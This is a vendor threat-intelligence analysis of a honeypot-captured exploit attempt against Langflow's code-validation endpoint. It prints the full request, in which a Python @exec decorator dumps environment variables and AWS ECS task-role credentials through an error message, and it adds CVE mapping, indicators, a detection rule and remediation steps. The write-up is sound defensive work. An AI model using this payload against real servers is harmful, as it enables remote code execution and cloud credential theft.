Langflow Validate Code RCE in the Wild: A Decorator Payload Hunting for AWS Credentials

A Cypho Siren sensor recorded a POST to /api/v1/validate/code, the code-validation endpoint of Langflow, an open-source builder for AI agents and workflows. The code field did not hold a function to check. It held a Python decorator that calls exec(). The code inside it copies every environment variable, asks the AWS ECS credentials endpoint for the container's IAM role keys, and raises an exception that carries the lot back in the error message.
The technique is not new. Horizon3.ai published it in April 2025 with CVE-2025-3248: an @exec(...) decorator, plus raise Exception(...) to read the output of env in the HTTP response. This request keeps that skeleton and adds a cloud step. The sender is not after the Langflow server alone; they want the AWS role it runs under. Horizon3.ai disclosure
| Item | What we see |
|---|---|
| Endpoint | POST /api/v1/validate/code, port 8000 |
| Input | code field in a JSON body, declared length 362 bytes |
| Authentication | None: no cookie, bearer token or API key |
| Technique | Python decorator that calls exec() while a function definition is processed |
| Goal | Environment variables and AWS ECS task-role credentials, returned inside an error message |
| Verdict | High-confidence exploit attempt; execution and credential theft unconfirmed |
| CVE | CVE-2025-3248 is the closest fit; the target's version and authentication decide |
Treat a request like this as a credential-theft attempt as well as an RCE attempt. Confirm the Langflow version, check whether the endpoint answers without a session, and look at what the response contained. If the server runs on ECS, check how its task role was used afterwards.
Stage 1: The capture
The destination is masked as [sensor]. The address inside the payload was already masked as [ip] in the copy we analyzed, so we can't say whether it pointed at the standard ECS credentials address. The original Content-Length is retained; with masked values, the display is not a byte-for-byte replay.
POST /api/v1/validate/code HTTP/1.1
Host: [sensor]:8000
Connection: keep-alive
User-Agent: Mozilla/5.0
Content-Type: application/json
Accept: */*
Accept-Language: *
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate
Content-Length: 362
{
"code": "@exec('import os,urllib.request\nout=[f\"{k}={v}\" for k,v in os.environ.items()]\nu=os.environ.get(\"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\")\nif u:\n try: out.append(\"ECS_IAM=\"+urllib.request.urlopen(\"http://[ip]\"+u,timeout=1.5).read().decode())\n except: pass\nraise Exception(chr(10).join(out))')\ndef f(): pass"
}
Two details in the headers say something about the sender.
This is a script, not a browser. Browsers do not send Accept-Language: *. The header set (Accept: */*, Accept-Language: *, Sec-Fetch-Mode: cors, Accept-Encoding: gzip, deflate) matches the defaults of Node.js's built-in fetch, with the User-Agent replaced by a bare Mozilla/5.0. We can't name the tool from one request, but the fingerprint is worth keeping for correlation.
Port 8000 is not Langflow's default. Langflow listens on 7860 out of the box. A sender working from a list of known Langflow hosts would more likely use that port. Sending the path to port 8000 looks more like trying it across common application ports and keeping whatever answers.
Stage 2: Anatomy of the payload
Decoded and spread over several lines, the code reads like this. The [ip] mask is from the source.
@exec('''
import os, urllib.request
out = [f"{k}={v}" for k, v in os.environ.items()]
u = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if u:
try:
out.append("ECS_IAM=" + urllib.request.urlopen("http://[ip]" + u, timeout=1.5).read().decode())
except:
pass
raise Exception(chr(10).join(out))
''')
def f():
pass
| Fragment | What it does |
|---|---|
@exec('...') above def f(): pass |
Runs the string as Python when the function definition is executed |
[f"{k}={v}" for k, v in os.environ.items()] |
Copies every environment variable of the process into a list |
os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") |
Checks whether the process runs as an ECS task with an IAM role |
urlopen("http://[ip]" + u, timeout=1.5) |
Requests the task's temporary credentials; any failure is swallowed |
raise Exception(chr(10).join(out)) |
Packs everything into one exception message, one item per line |
Why a decorator runs code
Defining a function in Python does not run its body. It does evaluate its decorators. When the def statement executes, Python first evaluates the expression after @, then calls the result with the new function. Here the expression is exec('...'), so the attacker's code runs the moment the definition is processed. f itself never matters. Python reference: function definitions
exec() returns None. If the inner code finished quietly, Python would try to call None(f) and fail with TypeError: 'NoneType' object is not callable. This payload never gets that far: its last line raises its own exception, so that exception, carrying the collected data, is what propagates. The error is the delivery mechanism.
The environment dump
The first stage needs nothing cloud-specific. Environment variables are where containerized services usually keep their configuration: database connection strings, API keys, signing secrets, service tokens. On an AI workflow builder, that can include keys for model providers and vector stores. Horizon3's original proof of concept used the same trick to read the Langflow superuser's username and password from the environment.
The ECS credential request
When an ECS task has an IAM role, the ECS agent sets AWS_CONTAINER_CREDENTIALS_RELATIVE_URI in its containers. AWS SDKs append that path to the credentials endpoint, 169.254.170.2, and receive temporary keys for the task role: AccessKeyId, SecretAccessKey, Token and Expiration. The request needs no password. Any process in the container can make it, which is why code execution inside a task amounts to access to its role. AWS: task IAM roles
The payload asks only if the variable exists, waits at most 1.5 seconds, and ignores errors. On a host that isn't an ECS task, the environment dump still comes back. On one that is, the role's keys come back with it, marked ECS_IAM=. The sender built one request that works everywhere and pays off more on AWS.
The exception as a return channel
chr(10) is a newline, written that way to avoid another layer of escaping inside a string inside JSON. The joined text becomes the exception message. On vulnerable versions, Langflow catches exceptions raised while it runs the submitted definition and puts their text in the JSON response (Stage 3). The attacker needs no outbound connection from the server to collect the data: it arrives in the reply to their own request.
One caution about the copy we analyzed. It shows each line break inside the exec('...') string as \n. If those were plain JSON newline escapes, the decoded code would put raw line breaks inside a single-quoted Python string, and Langflow's parser would reject it as a syntax error before anything ran. For the payload to work, the inner line breaks must be escaped one level deeper (\\n), so Python turns them into newlines only when exec() reads the string. Display and masking steps often flatten that difference, and with masked values the declared length can't settle it. The intent is clear either way; the encoding is one more reason to call this an attempt.
What the payload is written to do
One request, five steps. Only the first is recorded; the rest depend on the Langflow version behind the endpoint.
Langflow /api/v1/validate/codeNo credentials sent
-
Request
A JSON
POSTwhosecodefield holds a decorated function -
Decorator runs
Langflow executes the definition, so
@exec('…')runs first -
Environment copied
Every
os.environpair, one per line -
ECS keys requested
Only on ECS: task-role credentials, 1.5 s timeout, errors ignored
-
OutcomeSecrets in the response
The raised exception comes back in
function.errors
Stage 3: Under the hood, Langflow's validate_code()
The endpoint exists so the editor can check user-written Python before it is used. This is the function behind it in Langflow 1.2.0, the last release before the CVE-2025-3248 fix, trimmed for length:
# langflow/utils/validate.py, Langflow 1.2.0 (abridged)
def validate_code(code):
errors = {"imports": {"errors": []}, "function": {"errors": []}}
try:
tree = ast.parse(code)
except Exception as e:
errors["function"]["errors"].append(str(e))
return errors
...
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e:
errors["function"]["errors"].append(str(e))
return errors
Three things line up with the payload:
- Parsing comes first. A syntax error is reported and nothing runs, which is why the escaping question in Stage 2 matters.
- Every function definition is executed.
exec(code_obj)runs thedefstatement, and with it the decorator. Checking a function this way means running attacker-controlled expressions. - Exception text goes back to the caller.
str(e)lands infunction.errors, and the route returns that dictionary with HTTP 200. In 1.2.0 the route has no authentication dependency at all. Langflow 1.2.0 source
If debug logging is enabled, Langflow also logs the exception. On a server that was hit successfully, treat those logs as holding secrets too.
The fix came in two parts. Langflow 1.3.0 put the endpoint behind authentication. validate_code() kept executing submitted function definitions until 1.10.1, which compiles them without running them. Python's own documentation is blunt about the underlying risk: exec() runs whatever it is given. Checking code safely means parsing and compiling it, never executing it. Python: exec()
Stage 4: Matching the request to a CVE
Three Langflow CVEs involve this endpoint. They are not interchangeable, and the version and authentication state of the target decide which, if any, applies.
| CVE | What it covers | Fit with this request |
|---|---|---|
| CVE-2025-3248 | Missing authentication on /api/v1/validate/code before 1.3.0; CVSS 9.8 |
Closest fit: no credentials sent, and the technique matches the public proof of concept |
| CVE-2026-51886 | Authenticated RCE in validate_code() through malicious decorators, from 1.7.2, fixed in 1.10.1; CVSS 8.8 |
Same mechanism, but needs a session the request doesn't carry |
| CVE-2026-0770 | Unauthenticated RCE through handling of the exec_globals parameter; CVSS 9.8 |
Not shown: the request has no exec_globals parameter |
CVE-2025-3248. Horizon3 reported an unauthenticated route running exec() on user input, fixed in Langflow 1.3.0. CISA added it to the Known Exploited Vulnerabilities catalog on 5 May 2025 and marks it as known to be used in ransomware campaigns. Our request carries no credentials and uses the decorator-plus-exception pattern from the public write-up, so on a pre-1.3.0 instance this is the direct match. CISA KEV catalog
CVE-2026-51886. Langflow's advisory of 12 August 2026 describes the same decorator technique in versions from 1.7.2 until the 1.10.1 fix, where the endpoint requires a valid session. It notes that under auto-login any user can trigger it. The captured request has no token, so on those versions it should be refused unless the sender obtained a session in a request we did not see. The mechanism matches; the authentication state is what's missing.
CVE-2026-0770. Zero Day Initiative published ZDI-26-036 on 9 January 2026 as a zero-day: unauthenticated code execution, as root, through the exec_globals parameter of the validate endpoint. CISA added it to the catalog on 21 July 2026. It shares the endpoint, not the technique, so don't assign it to this event on the URL alone.
A simple assignment rule. Name a CVE only when inventory, fingerprinting or logs confirm the Langflow version and how the request was authenticated. Without that, label the event "Langflow validate-code decorator RCE attempt with AWS credential discovery, CVE unconfirmed" and list CVE-2025-3248 and CVE-2026-51886 as candidates.
Langflow is a repeat target. As of 3 December 2026, CISA's catalog lists six Langflow vulnerabilities as exploited in the wild, including CVE-2025-3248 and CVE-2026-0770.
Stage 5: What the credentials would open
Everything here is conditional. The capture shows what the sender asked for, not what they received.
ECS task-role credentials are temporary, but they are valid AWS credentials until they expire, and they work from anywhere unless the role's policies restrict where they can be used. With them, the sender can call any AWS API the task role allows: read S3 buckets, pull secrets from Secrets Manager or Parameter Store, query databases, or look for permissions that let them go further. A Langflow task with a broad role turns one web request into an AWS incident.
The environment dump can be worth as much as the keys. Static credentials, model-provider API keys and database passwords don't expire after a few hours. If the response came back with them, rotate them all.
Putting the chain together
- The sender sends a JSON
codefield to/api/v1/validate/code, without credentials. - On a vulnerable version, Langflow executes the function definition, and the
@execdecorator runs the attacker's code. - The code copies the process environment.
- If the process is an ECS task, it requests the task role's temporary credentials.
- It raises an exception holding all of it, and Langflow returns the text in the validation response.
The request establishes that the sender attempted this chain. It does not show that the target ran a vulnerable version, that the code parsed and executed, that credentials were returned, or that they were used. Those answers are in the HTTP response, application logs, network flows and CloudTrail. Confidence is high on intent and low on outcome and exact CVE.
Indicators and mappings
| Indicator | Context |
|---|---|
POST /api/v1/validate/code |
Targeted endpoint |
code value starting with @exec( |
Decorator used to run code during validation |
os.environ.items() |
Environment enumeration |
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI |
ECS task-credential discovery |
ECS_IAM= |
Marker the payload puts in front of the credential response |
raise Exception(chr(10).join(out)) |
Exception used as the return channel |
Accept-Language: * with User-Agent: Mozilla/5.0 |
Scripted client; weak on its own |
For defensive mapping, the behavior fits MITRE ATT&CK T1190, Exploit Public-Facing Application, T1059.006, Python, and T1082, System Information Discovery. The credential request maps to T1552.005, Cloud Instance Metadata API, the closest technique for a container credentials endpoint. The data would leave in the response to the attacker's own request, so we don't map an exfiltration technique without evidence that it did.
Detecting the attempt
On the request. Alert on POSTs to /api/v1/validate/code whose decoded code field contains a decorator line together with dynamic execution or secrets access. Match both \n and \\n forms of line breaks, and don't rely on one literal string: @exec is easy to swap for @eval, a lambda or a default argument.
IF method = POST
AND path ends with "/api/v1/validate/code"
AND decoded JSON field "code" contains a line starting with "@"
AND "code" contains any of: "exec(", "eval(", "__import__", "os.environ",
"subprocess", "urlopen", "AWS_CONTAINER_CREDENTIALS"
THEN alert: Langflow code-validation exploit attempt
This is pseudocode, not a drop-in SIEM rule. Adapt it to your fields and test it against your own Langflow traffic. Any request to this endpoint without a session deserves a look on its own.
On the response. If your proxy or WAF logs response bodies, look for replies from this endpoint whose function.errors list contains KEY=value lines, ECS_IAM=, AccessKeyId or SecretAccessKey. A hit there means the attack worked and the data left.
In AWS. Look for API calls made with the Langflow task role's session from addresses outside your AWS network, and for calls the application doesn't normally make: listing buckets, reading secrets, enumerating IAM.
What to do about it
Investigate first.
- Identify the asset. Langflow version, how it is deployed, whether the endpoint should be reachable from the internet, and whether auto-login is on.
- Preserve evidence. Raw request and response, timestamps, source address, proxy and WAF logs, and Langflow application logs.
- Check the response. A syntax error or a refusal means the attempt failed. Environment variables in
function.errorsmean it succeeded. - Check the cloud side. If the server runs on ECS, review CloudTrail for the task role from the time of the request onward.
- Record the outcome as attempted, blocked, likely successful or confirmed, based on evidence and not on how the payload looks.
Contain. If secrets may have been returned, rotate every credential the container's environment held. Stolen task-role keys stay valid until they expire, even after the task stops, so revoke the role's active sessions (IAM can deny every session issued before a given time), then redeploy the tasks so they get fresh credentials. Look for anything created with the role in the meantime.
Remediate.
- Upgrade Langflow. 1.10.1 is the first release that stops executing submitted function definitions. Check the vendor's advisories for issues found since, because CISA's catalog lists other exploited Langflow vulnerabilities, and an old version threshold won't cover them all.
- Keep Langflow off the open internet. Put it behind a VPN or an authenticating reverse proxy, and turn off auto-login on anything reachable by others.
- Give the task role only the permissions the workflows need.
- Restrict container egress so the application reaches only the services it uses.
- Don't keep long-lived secrets in environment variables where a secrets manager will do.
- Return generic validation errors to clients and keep detailed exceptions in access-controlled logs.
How Cypho captures attempts like this
Cypho's Attack Intelligence runs Siren honeypot sensors in a global network, plus sensors customers install in their DMZ or private network. Each capture is matched against known attack patterns and tagged with the likely attack, possible CVE and a confidence level. This request shows why the body matters: the URL says "Langflow", but only the payload says "AWS credentials".
Alongside Attack Surface Management, that evidence helps teams find the AI tooling they expose and decide what to fix first. Explore Cypho Attack Intelligence or book a demo.
Closing thoughts
A feature built to check code ran it instead, and the attackers noticed. The decorator trick has been public since April 2025. What this capture adds is where it's pointed: past the application, at the cloud role behind it.
For defenders, the HTTP alert is the start. The questions that decide the impact are what the response contained and what the task role did next.
Scope: this analysis rests on the captured HTTP request, Langflow's published source and public vulnerability records. The target's version, the server response, execution and any credential use were not available for independent verification.
References
- Horizon3.ai: Unsafe at any speed, abusing Python exec for unauth RCE in Langflow AI (CVE-2025-3248)
- NVD: CVE-2025-3248
- Langflow security advisory GHSA-w584-2h2r-2hvf: authenticated RCE in validate_code via malicious decorators (CVE-2026-51886)
- Zero Day Initiative: ZDI-26-036, Langflow exec_globals remote code execution (CVE-2026-0770)
- CISA: Known Exploited Vulnerabilities catalog
- Langflow 1.2.0 source: validate.py
- Langflow on GitHub
- AWS: Amazon ECS task IAM roles
- Python: function definitions and decorators
- Python: built-in exec()